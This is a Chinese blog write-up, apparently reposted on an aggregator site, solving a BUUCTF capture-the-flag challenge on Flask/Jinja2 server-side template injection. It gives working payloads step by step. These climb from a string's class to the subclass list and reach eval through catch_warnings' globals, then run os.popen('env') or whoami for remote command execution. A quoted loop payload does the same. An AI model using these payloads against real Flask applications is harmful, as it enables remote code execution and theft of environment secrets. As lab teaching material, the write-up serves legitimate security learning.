[Flask]SSTI1 buuctf

这篇具有很好参考价值的文章主要介绍了[Flask]SSTI1 buuctf。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

声明:本篇文章csdn要我一天发两篇所以我来水的

跟ssti注入的详细知识我这里写了

https://blog.csdn.net/weixin_74790320/article/details/136154130

上面链接我复现了vulhub的SSTI,其实本质上是一道题

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

然后我们就用{{''.__class__}}看类的类型,但是无所谓,啥类型都可以,因为我们要找到的是他的基类,然后通过基类去找子类

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

{{''.__class__.__base__}}找到基类

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

然后找子类

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

然后在子类中找到catch_warnings这个类,然后去这个类的全局变量里面找到eval,

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全所以就可以命令执行,然后flag在env环境变量里面

手工payload:

 1.先获取类

payload:

{{''.__class__}}

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

2.获取基类

payload:

{{''.__class__.__bases__}}

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

3.获取基类的所有子类

payload:

{{''.__class__.__base__.__subclasses__()}}

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

4.找所有存在eval的类

{{''.__class__.__base__.__subclasses__()[166]}}

这里官方给了一个方向是catch_warnings类

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个

5.选中这个类

先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入

格式都是?name+payload

payload:

{{%27%27.__class__.__base__.__subclasses__()[166]}}

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

6.在这个类中找他的初始化函数里面的所有全局变量

然后看看这里面有没有危险函数eval

payload:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

存在eval

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全
然后我们怎么选择eval函数呢???
{}这种大括号

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全
别问我为什么没有右括号,我视力不好没看到在哪,反正他被'__builtins__'这一个键里面的{}号包围了
所以怎么选择呢?那就是
['__builtins__']['eval']

找到危险函数那就是最后的代码执行阶段了

原本代码执行这么写eval('__import__("os").popen("env").read()')

那已经选中了eval是不是右边加上('__import__("os").popen("env").read()')这一部分就好了!!!

7.代码执行

payload:

?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了

你自己玩的时候可以试下whoami,也是可以的

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

官方payload:

后面遍历需要代码跑一遍

{%code%}这里是代码的意思在ssti里面

payload:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

解释在我上面的链接中

然后就可以看到flag了

[Flask]SSTI1 buuctf,ctf,ssti,python,网络安全

flag{2108fec7-53f1-4e60-b65f-9ae1f959d501}文章来源地址https://www.toymoban.com/news/detail-826014.html


到了这里,关于[Flask]SSTI1 buuctf的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • flask模板注入(ssti),一篇就够了

    1.什么是flask?   flask是用python编写的一个轻量web开发框架 2.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入 本地演示(需要自行安装flask,requests模块) 通过输入参数key可以进行简单的渲

    2024年02月07日
    浏览(32)
  • 【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(29)
  • [CTF/网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1

    免责声明:本文仅分享AntSword渗透相关知识,不承担任何法律责任。 请读者自行安装BurpSuite,本文不再赘述。 在用户名和密码都未知的情况下,进行用户名、密码的组合爆破,效率极低。 先爆破用户名,再利用得到的用户名爆破密码,将提高爆破速度。 题目 操作 Burp抓包

    2024年02月06日
    浏览(37)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(55)
  • BugKu:Simple_SSTI(SSTI模板注入)

    目录 1.Simple_SSTI_1 2.Simple_SSTI_2 点击链接进入,题目说: You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看,也可以右击页面---“检查” 如图所示,我们会得到相关的提示,根据提示信息,我们利用flask的模板注入,就能直接得到flag。

    2023年04月08日
    浏览(25)
  • Simple_SSTI_1与Simple_SSTI_2

    目录 一,Simple_SSTI_1 二,Simple_SSTI_2 首先打开场景:  然后F12查看一下源码:  于是通过百度相关知识寻找线索: 1,SSTI : 服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。 2,flask框架: flask是一个使用Python编写

    2023年04月12日
    浏览(23)
  • 浅学Go下的ssti

    作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题 Go 提供了两个模板包。一个是  text/template ,另一个是

    2024年02月09日
    浏览(20)
  • Thymeleaf SSTI模板注入分析

    先搭建一个SpringMVC项目,参考这篇文章,或者参考我以前的spring内存马分析那篇文章 https://blog.csdn.net/weixin_65287123/article/details/136648903 简单写个servlet 这样就是访问到index.jsp 路由解析流程主要就是 Model 和 View 以及最后 Render 。return处打个断点,看怎么处理的 先进入 invokeAndHa

    2024年04月12日
    浏览(20)
  • SSTI服务器模板注入漏洞

    与任何漏洞一样,利用漏洞的第一步就是能够找到它 介绍 该靶场重点在于利用 Node.js 中的模板引擎 Handlebars 中识别的服务器端模板注入漏洞。本演练将演示当开发人员未正确清理用户输入时,如何在 Web 服务器中利用 SSTI。我们还将介绍 Node.js、模板引擎和全局变量的基础知

    2024年02月07日
    浏览(30)
  • [GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

    SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客 ssti板块注入 正好不会 {%%}的内容 学习一下 经过测试 发现过滤了 {{}} 那么我们就开始吧 我们可以通过这个语句来查询是否存在ssti   存在咯 这里跟着师傅的wp走

    2024年02月06日
    浏览(24)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包